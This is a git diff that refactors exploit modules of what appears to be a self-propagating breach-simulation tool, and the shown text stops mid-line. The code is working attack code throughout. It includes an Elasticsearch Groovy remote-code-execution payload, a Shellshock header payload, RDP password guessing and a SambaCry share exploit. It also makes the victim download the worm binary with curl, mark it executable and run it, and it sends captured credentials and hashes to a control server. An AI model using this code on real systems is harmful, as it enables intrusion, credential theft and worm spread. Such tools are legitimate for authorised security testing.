diff --git a/chaos_monkey/exploit/__init__.py b/chaos_monkey/exploit/__init__.py index a5b23ec1c..379d2bd92 100644 --- a/chaos_monkey/exploit/__init__.py +++ b/chaos_monkey/exploit/__init__.py @@ -5,13 +5,31 @@ __author__ = 'itamar' class HostExploiter(object): __metaclass__ = ABCMeta - _target_os_type = [] - def is_os_supported(self, host): - return host.os.get('type') in self._target_os_type + _TARGET_OS_TYPE = [] + + def __init__(self, host): + + self._exploit_info = {} + self._exploit_attempts = [] + self.host = host + + def is_os_supported(self): + return self.host.os.get('type') in self._TARGET_OS_TYPE + + def send_exploit_telemetry(self, result): + from control import ControlClient + ControlClient.send_telemetry( + 'exploit', + {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__, + 'info': self._exploit_info, 'attempts': self._exploit_attempts}) + + def report_login_attempt(self, result, user, password, lm_hash='', ntlm_hash=''): + self._exploit_attempts.append({'result': result, 'user': user, 'password': password, + 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash}) @abstractmethod - def exploit_host(self, host, depth=-1, src_path=None): + def exploit_host(self): raise NotImplementedError() diff --git a/chaos_monkey/exploit/elasticgroovy.py b/chaos_monkey/exploit/elasticgroovy.py index 5dce8208e..bf904724e 100644 --- a/chaos_monkey/exploit/elasticgroovy.py +++ b/chaos_monkey/exploit/elasticgroovy.py @@ -11,9 +11,8 @@ import requests from exploit import HostExploiter from model import MONKEY_ARG -from model.host import VictimHost from network.elasticfinger import ES_SERVICE, ES_PORT -from tools import get_target_monkey, HTTPTools, build_monkey_commandline +from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth __author__ = 'danielg' @@ -21,38 +20,40 @@ LOG = logging.getLogger(__name__) class ElasticGroovyExploiter(HostExploiter): - _target_os_type = ['linux', 'windows'] - # attack URLs BASE_URL = 'http://%s:%s/_search?pretty' MONKEY_RESULT_FIELD = "monkey_result" GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")' - JAVA_GET_TMP_DIR = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' + JAVA_GET_TMP_DIR =\ + GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")' JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")' - JAVA_CMD = GENERIC_QUERY % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" + JAVA_CMD = GENERIC_QUERY \ + % """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()""" JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m' DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder - def __init__(self): + _TARGET_OS_TYPE = ['linux', 'windows'] + + def __init__(self, host): + super(ElasticGroovyExploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self.skip_exist = self._config.skip_exploit_if_file_exist - def is_os_supported(self, host): + def is_os_supported(self): """ Checks if the host is vulnerable. Either using version string or by trying to attack - :param host: VictimHost :return: """ - if host.os.get('type') not in self._target_os_type: + if not super(ElasticGroovyExploiter, self).is_os_supported(): return False - if ES_SERVICE not in host.services: - LOG.info("Host: %s doesn't have ES open" % host.ip_addr) + if ES_SERVICE not in self.host.services: + LOG.info("Host: %s doesn't have ES open" % self.host.ip_addr) return False - major, minor, build = host.services[ES_SERVICE]['version'].split('.') + major, minor, build = self.host.services[ES_SERVICE]['version'].split('.') major = int(major) minor = int(minor) build = int(build) @@ -62,19 +63,17 @@ class ElasticGroovyExploiter(HostExploiter): return False if major == 1 and minor == 4 and build > 2: return False - return self.is_vulnerable(host) + return self.is_vulnerable() - def exploit_host(self, host, depth=-1, src_path=None): - assert isinstance(host, VictimHost) - - real_host_os = self.get_host_os(host) - host.os['type'] = str(real_host_os.lower()) # strip unicode characters - if 'linux' in host.os['type']: - return self.exploit_host_linux(host, depth, src_path) + def exploit_host(self): + real_host_os = self.get_host_os() + self.host.os['type'] = str(real_host_os.lower()) # strip unicode characters + if 'linux' in self.host.os['type']: + return self.exploit_host_linux() else: - return self.exploit_host_windows(host, depth, src_path) + return self.exploit_host_windows() - def exploit_host_windows(self, host, depth=-1, src_path=None): + def exploit_host_windows(self): """ TODO Will exploit windows similar to smbexec @@ -82,150 +81,148 @@ class ElasticGroovyExploiter(HostExploiter): """ return False - def exploit_host_linux(self, host, depth=-1, src_path=None): + def exploit_host_linux(self): """ Exploits linux using similar flow to sshexec and shellshock. Meaning run remote commands to copy files over HTTP :return: """ - uname_machine = str(self.get_linux_arch(host)) + uname_machine = str(self.get_linux_arch()) if len(uname_machine) != 0: - host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters + self.host.os['machine'] = str(uname_machine.lower().strip()) # strip unicode characters dropper_target_path_linux = self._config.dropper_target_path_linux - if self.skip_exist and (self.check_if_remote_file_exists_linux(host, dropper_target_path_linux)): - LOG.info("Host %s was already infected under the current configuration, done" % host) + if self.skip_exist and (self.check_if_remote_file_exists_linux(dropper_target_path_linux)): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # return already infected - src_path = src_path or get_target_monkey(host) + src_path = get_target_monkey(self.host) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", host) + LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - if not self.download_file_in_linux(host, src_path, target_path=dropper_target_path_linux): + if not self.download_file_in_linux(src_path, target_path=dropper_target_path_linux): return False - self.set_file_executable_linux(host, dropper_target_path_linux) - self.run_monkey_linux(host, dropper_target_path_linux, depth) + self.set_file_executable_linux(dropper_target_path_linux) + self.run_monkey_linux(dropper_target_path_linux) - if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)): + if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") + return True - def run_monkey_linux(self, host, dropper_target_path_linux, depth): + def run_monkey_linux(self, dropper_target_path_linux): """ Runs the monkey """ cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline(host, depth - 1) + ' & ' - self.run_shell_command(host, cmdline) + cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' + self.run_shell_command(cmdline) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, host, cmdline) - if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)): + self._config.dropper_target_path_linux, self.host, cmdline) + if not (self.check_if_remote_file_exists_linux(self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") - def download_file_in_linux(self, host, src_path, target_path): + def download_file_in_linux(self, src_path, target_path): """ Downloads a file in target machine using curl to the given target path - :param host: :param src_path: File path relative to the monkey :param target_path: Target path in linux victim :return: T/F """ - http_path, http_thread = HTTPTools.create_transfer(host, src_path) + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: LOG.debug("Exploiter %s failed, http transfer creation failed." % self.__name__) return False download_command = '/usr/bin/curl %s -o %s' % ( http_path, target_path) - self.run_shell_command(host, download_command) + self.run_shell_command(download_command) http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() if (http_thread.downloads != 1) or ( 'ELF' not in - self.check_if_remote_file_exists_linux(host, target_path)): + self.check_if_remote_file_exists_linux(target_path)): LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__) return False return True - def set_file_executable_linux(self, host, file_path): + def set_file_executable_linux(self, file_path): """ Marks the given file as executable using chmod :return: Nothing """ chmod = '/bin/chmod +x %s' % file_path - self.run_shell_command(host, chmod) - LOG.info("Marked file %s on host %s as executable", file_path, host) + self.run_shell_command(chmod) + LOG.info("Marked file %s on host %s as executable", file_path, self.host) - def check_if_remote_file_exists_linux(self, host, file_path): + def check_if_remote_file_exists_linux(self, file_path): """ :return: """ cmdline = '/usr/bin/head -c 4 %s' % file_path - return self.run_shell_command(host, cmdline) + return self.run_shell_command(cmdline) - def run_shell_command(self, host, command): + def run_shell_command(self, command): """ Runs a single shell command and returns the result. """ payload = self.JAVA_CMD % command - result = self.get_command_result(host, payload) - LOG.info("Ran the command %s on host %s", command, payload) + result = self.get_command_result(payload) + LOG.info("Ran the command %s on host %s", command, self.host) return result - def get_linux_arch(self, host): + def get_linux_arch(self): """ Returns host as per uname -m """ - return self.get_command_result(host, self.JAVA_GET_BIT_LINUX) + return self.get_command_result(self.JAVA_GET_BIT_LINUX) - def get_host_tempdir(self, host): + def get_host_tempdir(self): """ Returns where to write our file given our permissions :return: Temp directory path in target host """ - return self.get_command_result(host, self.JAVA_GET_TMP_DIR) + return self.get_command_result(self.JAVA_GET_TMP_DIR) - def get_host_os(self, host): + def get_host_os(self): """ :return: target OS """ - return self.get_command_result(host, self.JAVA_GET_OS) + return self.get_command_result(self.JAVA_GET_OS) - def is_vulnerable(self, host): + def is_vulnerable(self): """ Checks if a given elasticsearch host is vulnerable to the groovy attack - :param host: Host, with an open 9200 port :return: True/False """ - result_text = self.get_command_result(host, self.JAVA_IS_VULNERABLE) + result_text = self.get_command_result(self.JAVA_IS_VULNERABLE) return 'java.lang.Runtime' in result_text - def get_command_result(self, host, payload): + def get_command_result(self, payload): """ Gets the result of an attack payload with a single return value. - :param host: VictimHost configuration :param payload: Payload that fits the GENERIC_QUERY template. """ - result = self.attack_query(host, payload) + result = self.attack_query(payload) if not result: # not vulnerable return False return result[0] - def attack_query(self, host, payload): + def attack_query(self, payload): """ Wraps the requests query and the JSON parsing. Just reduce opportunity for bugs :return: List of data fields or None """ - response = requests.get(self.attack_url(host), data=payload) + response = requests.get(self.attack_url(), data=payload) result = self.get_results(response) return result - def attack_url(self, host): + def attack_url(self): """ Composes the URL to attack per host IP and port. :return: Elasticsearch vulnerable URL """ - return self.BASE_URL % (host.ip_addr, ES_PORT) + return self.BASE_URL % (self.host.ip_addr, ES_PORT) def get_results(self, response): """ diff --git a/chaos_monkey/exploit/rdpgrinder.py b/chaos_monkey/exploit/rdpgrinder.py index 231dfc304..207564778 100644 --- a/chaos_monkey/exploit/rdpgrinder.py +++ b/chaos_monkey/exploit/rdpgrinder.py @@ -1,19 +1,21 @@ -import time -import threading import os.path -import twisted.python.log +import threading +import time +from logging import getLogger + import rdpy.core.log as rdpy_log +import twisted.python.log +from rdpy.core.error import RDPSecurityNegoFail from rdpy.protocol.rdp import rdp from twisted.internet import reactor -from rdpy.core.error import RDPSecurityNegoFail -from logging import getLogger + from exploit import HostExploiter -from exploit.tools import HTTPTools -from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS -from model.host import VictimHost -from network.tools import check_port_tcp +from exploit.tools import HTTPTools, get_monkey_depth from exploit.tools import get_target_monkey -from tools import build_monkey_commandline, report_failed_login +from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS +from network.tools import check_port_tcp +from tools import build_monkey_commandline + __author__ = 'hoffer' KEYS_INTERVAL = 0.1 @@ -37,6 +39,7 @@ def twisted_log_func(*message, **kw): def rdpy_log_func(message): LOG.debug("Message from rdpy library: %s" % (message,)) + twisted.python.log.msg = twisted_log_func rdpy_log._LOG_LEVEL = rdpy_log.Level.ERROR rdpy_log.log = rdpy_log_func @@ -125,16 +128,17 @@ class KeyPressRDPClient(rdp.RDPClientObserver): if key.updates == 0: self._keys = self._keys[1:] elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE): - self._wait_for_update = False - self._update_lock.release() - if type(key) is ScanCodeEvent: - reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, key.is_special) - elif type(key) is CharEvent: - reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed) - elif type(key) is SleepEvent: - time.sleep(key.interval) + self._wait_for_update = False + self._update_lock.release() + if type(key) is ScanCodeEvent: + reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed, + key.is_special) + elif type(key) is CharEvent: + reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed) + elif type(key) is SleepEvent: + time.sleep(key.interval) - self._keys = self._keys[1:] + self._keys = self._keys[1:] else: self._update_lock.release() time.sleep(KEYS_SENDER_SLEEP) @@ -170,7 +174,7 @@ class CMDClientFactory(rdp.ClientFactory): ScanCodeEvent(19, False), ScanCodeEvent(91, False, True), WaitUpdateEvent()] + str_to_keys("cmd /v") + \ [WaitUpdateEvent(), ScanCodeEvent(28, True), - ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command+"&exit") +\ + ScanCodeEvent(28, False), WaitUpdateEvent()] + str_to_keys(command + "&exit") + \ [WaitUpdateEvent(), ScanCodeEvent(28, True), ScanCodeEvent(28, False), WaitUpdateEvent()] self._optimized = optimized @@ -228,40 +232,41 @@ class CMDClientFactory(rdp.ClientFactory): class RdpExploiter(HostExploiter): - _target_os_type = ['windows'] - def __init__(self): + _TARGET_OS_TYPE = ['windows'] + + def __init__(self, host): + super(RdpExploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self._guid = __import__('config').GUID - def is_os_supported(self, host): - if host.os.get('type') in self._target_os_type: + def is_os_supported(self): + if super(RdpExploiter, self).is_os_supported(): return True - if not host.os.get('type'): - is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT) + if not self.host.os.get('type'): + is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT) if is_open: - host.os['type'] = 'windows' + self.host.os['type'] = 'windows' return True return False - def exploit_host(self, host, depth=-1, src_path=None): + def exploit_host(self): global g_reactor - assert isinstance(host, VictimHost) - is_open, _ = check_port_tcp(host.ip_addr, RDP_PORT) + is_open, _ = check_port_tcp(self.host.ip_addr, RDP_PORT) if not is_open: - LOG.info("RDP port is closed on %r, skipping", host) + LOG.info("RDP port is closed on %r, skipping", self.host) return False - src_path = src_path or get_target_monkey(host) + src_path = get_target_monkey(self.host) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", host) + LOG.info("Can't find suitable monkey executable for host %r", self.host) return False # create server for http download. - http_path, http_thread = HTTPTools.create_transfer(host, src_path) + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: LOG.debug("Exploiter RdpGrinder failed, http transfer creation failed.") @@ -269,7 +274,7 @@ class RdpExploiter(HostExploiter): LOG.info("Started http server on %s", http_path) - cmdline = build_monkey_commandline(host, depth-1) + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1) if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % { @@ -280,7 +285,6 @@ class RdpExploiter(HostExploiter): 'monkey_path': self._config.dropper_target_path, 'http_path': http_path, 'parameters': cmdline} - user_password_pairs = self._config.get_exploit_user_password_pairs() if not g_reactor.is_alive(): @@ -292,27 +296,27 @@ class RdpExploiter(HostExploiter): try: # run command using rdp. LOG.info("Trying RDP logging into victim %r with user %s and password '%s'", - host, user, password) + self.host, user, password) - LOG.info("RDP connected to %r", host) + LOG.info("RDP connected to %r", self.host) client_factory = CMDClientFactory(user, password, "", command) - reactor.callFromThread(reactor.connectTCP, host.ip_addr, RDP_PORT, client_factory) + reactor.callFromThread(reactor.connectTCP, self.host.ip_addr, RDP_PORT, client_factory) client_factory.done_event.wait() if client_factory.success: exploited = True - host.learn_credentials(user, password) + self.report_login_attempt(True, user, password) break else: # failed exploiting with this user/pass - report_failed_login(self, host, user, password) + self.report_login_attempt(False, user, password) - except Exception, exc: + except Exception as exc: LOG.debug("Error logging into victim %r with user" - " %s and password '%s': (%s)", host, + " %s and password '%s': (%s)", self.host, user, password, exc) continue @@ -327,6 +331,6 @@ class RdpExploiter(HostExploiter): return False LOG.info("Executed monkey '%s' on remote victim %r", - os.path.basename(src_path), host) + os.path.basename(src_path), self.host) return True diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py index ab27728ff..930cd8854 100644 --- a/chaos_monkey/exploit/sambacry.py +++ b/chaos_monkey/exploit/sambacry.py @@ -19,7 +19,7 @@ import monkeyfs from exploit import HostExploiter from model import DROPPER_ARG from network.smbfinger import SMB_SERVICE -from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path +from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth __author__ = 'itay.mizeretz' @@ -31,8 +31,8 @@ class SambaCryExploiter(HostExploiter): SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket: https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py """ - _target_os_type = ['linux'] + _TARGET_OS_TYPE = ['linux'] # Name of file which contains the monkey's commandline SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt" # Name of file which contains the runner's result @@ -50,21 +50,22 @@ class SambaCryExploiter(HostExploiter): # Monkey copy filename on share (64 bit) SAMBACRY_MONKEY_COPY_FILENAME_64 = "monkey64_2" - def __init__(self): + def __init__(self, host): + super(SambaCryExploiter, self).__init__(host) self._config = __import__('config').WormConfiguration - def exploit_host(self, host, depth=-1, src_path=None): - if not self.is_vulnerable(host): + def exploit_host(self): + if not self.is_vulnerable(): return False - writable_shares_creds_dict = self.get_writable_shares_creds_dict(host.ip_addr) + writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr) LOG.info("Writable shares and their credentials on host %s: %s" % - (host.ip_addr, str(writable_shares_creds_dict))) + (self.host.ip_addr, str(writable_shares_creds_dict))) - host.services[SMB_SERVICE]["shares"] = {} + self._exploit_info["shares"] = {} for share in writable_shares_creds_dict: - host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]} - self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth) + self._exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]} + self.try_exploit_share(share, writable_shares_creds_dict[share]) # Wait for samba server to load .so, execute code and create result file. time.sleep(self._config.sambacry_trigger_timeout) @@ -72,37 +73,40 @@ class SambaCryExploiter(HostExploiter): successfully_triggered_shares = [] for share in writable_shares_creds_dict: - trigger_result = self.get_trigger_result(host.ip_addr, share, writable_shares_creds_dict[share]) + trigger_result = self.get_trigger_result(self.host.ip_addr, share, writable_shares_creds_dict[share]) + creds = writable_shares_creds_dict[share] + self.report_login_attempt( + trigger_result is not None, creds['username'], creds['password'], creds['lm_hash'], creds['ntlm_hash']) if trigger_result is not None: successfully_triggered_shares.append((share, trigger_result)) - self.clean_share(host.ip_addr, share, writable_shares_creds_dict[share]) + self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share]) for share, fullpath in successfully_triggered_shares: - host.services[SMB_SERVICE]["shares"][share]["fullpath"] = fullpath + self._exploit_info["shares"][share]["fullpath"] = fullpath if len(successfully_triggered_shares) > 0: LOG.info( - "Shares triggered successfully on host %s: %s" % (host.ip_addr, str(successfully_triggered_shares))) + "Shares triggered successfully on host %s: %s" % ( + self.host.ip_addr, str(successfully_triggered_shares))) return True else: - LOG.info("No shares triggered successfully on host %s" % host.ip_addr) + LOG.info("No shares triggered successfully on host %s" % self.host.ip_addr) return False - def try_exploit_share(self, host, share, creds, depth): + def try_exploit_share(self, share, creds): """ Tries exploiting share - :param host: victim Host object :param share: share name :param creds: credentials to use with share - :param depth: current depth of monkey """ try: - smb_client = self.connect_to_server(host.ip_addr, creds) - self.upload_module(smb_client, host, share, depth) + smb_client = self.connect_to_server(self.host.ip_addr, creds) + self.upload_module(smb_client, share) self.trigger_module(smb_client, share) except (impacket.smbconnection.SessionError, SessionError): LOG.debug( - "Exception trying to exploit host: %s, share: %s, with creds: %s." % (host.ip_addr, share, str(creds))) + "Exception trying to exploit host: %s, share: %s, with creds: %s." % ( + self.host.ip_addr, share, str(creds))) def clean_share(self, ip, share, creds): """ @@ -189,18 +193,17 @@ class SambaCryExploiter(HostExploiter): shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] return [x for x in shares if x not in self._config.sambacry_shares_not_to_check] - def is_vulnerable(self, host): + def is_vulnerable(self): """ Checks whether the victim runs a possibly vulnerable version of samba - :param host: victim Host object :return: True if victim is vulnerable, False otherwise """ - if SMB_SERVICE not in host.services: - LOG.info("Host: %s doesn't have SMB open" % host.ip_addr) + if SMB_SERVICE not in self.host.services: + LOG.info("Host: %s doesn't have SMB open" % self.host.ip_addr) return False pattern = re.compile(r'\d*\.\d*\.\d*') - smb_server_name = host.services[SMB_SERVICE].get('name') + smb_server_name = self.host.services[SMB_SERVICE].get('name') samba_version = "unknown" pattern_result = pattern.search(smb_server_name) is_vulnerable = False @@ -225,46 +228,19 @@ class SambaCryExploiter(HostExploiter): is_vulnerable = True LOG.info("Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s" % - (host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))) + (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))) return is_vulnerable - def is_share_writable(self, smb_client, share): - """ - Checks whether the share is writable - :param smb_client: smb client object - :param share: share name - :return: True if share is writable, False otherwise. - """ - LOG.debug('Checking %s for write access' % share) - try: - tree_id = smb_client.connectTree(share) - except (impacket.smbconnection.SessionError, SessionError): - return False - - try: - smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) - writable = True - except (impacket.smbconnection.SessionError, SessionError): - writable = False - pass - - smb_client.disconnectTree(tree_id) - - return writable - - def upload_module(self, smb_client, host, share, depth): + def upload_module(self, smb_client, share): """ Uploads the module and all relevant files to server :param smb_client: smb client object - :param host: victim Host object :param share: share name - :param depth: current depth of monkey """ tree_id = smb_client.connectTree(share) - with self.get_monkey_commandline_file(host, depth, - self._config.dropper_target_path_linux) as monkey_commandline_file: + with self.get_monkey_commandline_file(self._config.dropper_target_path_linux) as monkey_commandline_file: smb_client.putFile(share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read) with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file: @@ -284,18 +260,6 @@ class SambaCryExploiter(HostExploiter): smb_client.disconnectTree(tree_id) - def connect_to_server(self, ip, credentials): - """ - Connects to server using given credentials - :param ip: IP of server - :param credentials: credentials to log in with - :return: SMBConnection object representing the connection - """ - smb_client = SMBConnection(ip, ip) - smb_client.login( - credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) - return smb_client - def trigger_module(self, smb_client, share): """ Tries triggering module @@ -346,11 +310,50 @@ class SambaCryExploiter(HostExploiter): else: return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb") - def get_monkey_commandline_file(self, host, depth, location): - return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location)) + def get_monkey_commandline_file(self, location): + return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, location)) + + @staticmethod + def is_share_writable(smb_client, share): + """ + Checks whether the share is writable + :param smb_client: smb client object + :param share: share name + :return: True if share is writable, False otherwise. + """ + LOG.debug('Checking %s for write access' % share) + try: + tree_id = smb_client.connectTree(share) + except (impacket.smbconnection.SessionError, SessionError): + return False + + try: + smb_client.openFile(tree_id, '\\', FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE) + writable = True + except (impacket.smbconnection.SessionError, SessionError): + writable = False + pass + + smb_client.disconnectTree(tree_id) + + return writable + + @staticmethod + def connect_to_server(ip, credentials): + """ + Connects to server using given credentials + :param ip: IP of server + :param credentials: credentials to log in with + :return: SMBConnection object representing the connection + """ + smb_client = SMBConnection(ip, ip) + smb_client.login( + credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) + return smb_client # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # - def create_smb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, + @staticmethod + def create_smb(smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): @@ -396,7 +399,8 @@ class SambaCryExploiter(HostExploiter): # In our case, str(FileID) return str(createResponse['FileID']) - def open_pipe(self, smb_client, pathName): + @staticmethod + def open_pipe(smb_client, pathName): # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style # to make things easier for the caller. Not this time ;) treeId = smb_client.connectTree('IPC$') @@ -426,7 +430,7 @@ class SambaCryExploiter(HostExploiter): return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) else: - return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, + return SambaCryExploiter.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) diff --git a/chaos_monkey/exploit/shellshock.py b/chaos_monkey/exploit/shellshock.py index 80246c1d4..acae085f0 100644 --- a/chaos_monkey/exploit/shellshock.py +++ b/chaos_monkey/exploit/shellshock.py @@ -1,16 +1,17 @@ # Implementation is based on shellshock script provided https://github.com/nccgroup/shocker/blob/master/shocker.py import logging -from random import choice import string -from tools import build_monkey_commandline -from exploit import HostExploiter -from model.host import VictimHost -from shellshock_resources import CGI_FILES -from model import MONKEY_ARG -from exploit.tools import get_target_monkey, HTTPTools +from random import choice + import requests +from exploit import HostExploiter +from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from model import MONKEY_ARG +from shellshock_resources import CGI_FILES +from tools import build_monkey_commandline + __author__ = 'danielg' LOG = logging.getLogger(__name__) @@ -20,13 +21,14 @@ DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder class ShellShockExploiter(HostExploiter): - _target_os_type = ['linux'] - _attacks = { "Content-type": "() { :;}; echo; " } - def __init__(self): + _TARGET_OS_TYPE = ['linux'] + + def __init__(self, host): + super(ShellShockExploiter, self).__init__(host) self._config = __import__('config').WormConfiguration self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.success_flag = ''.join( @@ -34,11 +36,10 @@ class ShellShockExploiter(HostExploiter): ) for _ in range(20)) self.skip_exist = self._config.skip_exploit_if_file_exist - def exploit_host(self, host, depth=-1, src_path=None): - assert isinstance(host, VictimHost) + def exploit_host(self): # start by picking ports - candidate_services = {service: host.services[service] for service in host.services if - host.services[service]['name'] == 'http'} + candidate_services = {service: self.host.services[service] for service in self.host.services if + self.host.services[service]['name'] == 'http'} valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in self.HTTP if 'tcp-' + str(port) in candidate_services] @@ -47,65 +48,63 @@ class ShellShockExploiter(HostExploiter): LOG.info( 'Scanning %s, ports [%s] for vulnerable CGI pages' % ( - host, ",".join([str(port[0]) for port in valid_ports])) + self.host, ",".join([str(port[0]) for port in valid_ports])) ) attackable_urls = [] # now for each port we want to check the entire URL list for port in http_ports: - urls = self.check_urls(host.ip_addr, port) + urls = self.check_urls(self.host.ip_addr, port) attackable_urls.extend(urls) for port in https_ports: - urls = self.check_urls(host.ip_addr, port, is_https=True) + urls = self.check_urls(self.host.ip_addr, port, is_https=True) attackable_urls.extend(urls) # now for each URl we want to try and see if it's attackable exploitable_urls = [self.attempt_exploit(url) for url in attackable_urls] exploitable_urls = [url for url in exploitable_urls if url[0] is True] # we want to report all vulnerable URLs even if we didn't succeed - # let's overload this - # TODO: uncomment when server is ready for it - # [self.report_vuln_shellshock(host, url) for url in exploitable_urls] + self._exploit_info['vulnerable_urls'] = [url[1] for url in exploitable_urls] # now try URLs until we install something on victim for _, url, header, exploit in exploitable_urls: - LOG.info("Trying to attack host %s with %s URL" % (host, url)) + LOG.info("Trying to attack host %s with %s URL" % (self.host, url)) # same attack script as sshexec # for any failure, quit and don't try other URLs - if not host.os.get('type'): + if not self.host.os.get('type'): try: uname_os_attack = exploit + '/bin/uname -o' uname_os = self.attack_page(url, header, uname_os_attack) if 'linux' in uname_os: - host.os['type'] = 'linux' + self.host.os['type'] = 'linux' else: LOG.info("SSH Skipping unknown os: %s", uname_os) return False - except Exception, exc: - LOG.debug("Error running uname os commad on victim %r: (%s)", host, exc) + except Exception as exc: + LOG.debug("Error running uname os commad on victim %r: (%s)", self.host, exc) return False - if not host.os.get('machine'): + if not self.host.os.get('machine'): try: uname_machine_attack = exploit + '/bin/uname -m' uname_machine = self.attack_page(url, header, uname_machine_attack) if '' != uname_machine: - host.os['machine'] = uname_machine.lower().strip() - except Exception, exc: - LOG.debug("Error running uname machine commad on victim %r: (%s)", host, exc) + self.host.os['machine'] = uname_machine.lower().strip() + except Exception as exc: + LOG.debug("Error running uname machine commad on victim %r: (%s)", self.host, exc) return False # copy the monkey dropper_target_path_linux = self._config.dropper_target_path_linux if self.skip_exist and (self.check_remote_file_exists(url, header, exploit, dropper_target_path_linux)): - LOG.info("Host %s was already infected under the current configuration, done" % host) + LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # return already infected - src_path = src_path or get_target_monkey(host) + src_path = src_path or get_target_monkey(self.host) if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", host) + LOG.info("Can't find suitable monkey executable for host %r", self.host) return False - http_path, http_thread = HTTPTools.create_transfer(host, src_path) + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) if not http_path: LOG.debug("Exploiter ShellShock failed, http transfer creation failed.") @@ -133,12 +132,12 @@ class ShellShockExploiter(HostExploiter): # run the monkey cmdline = 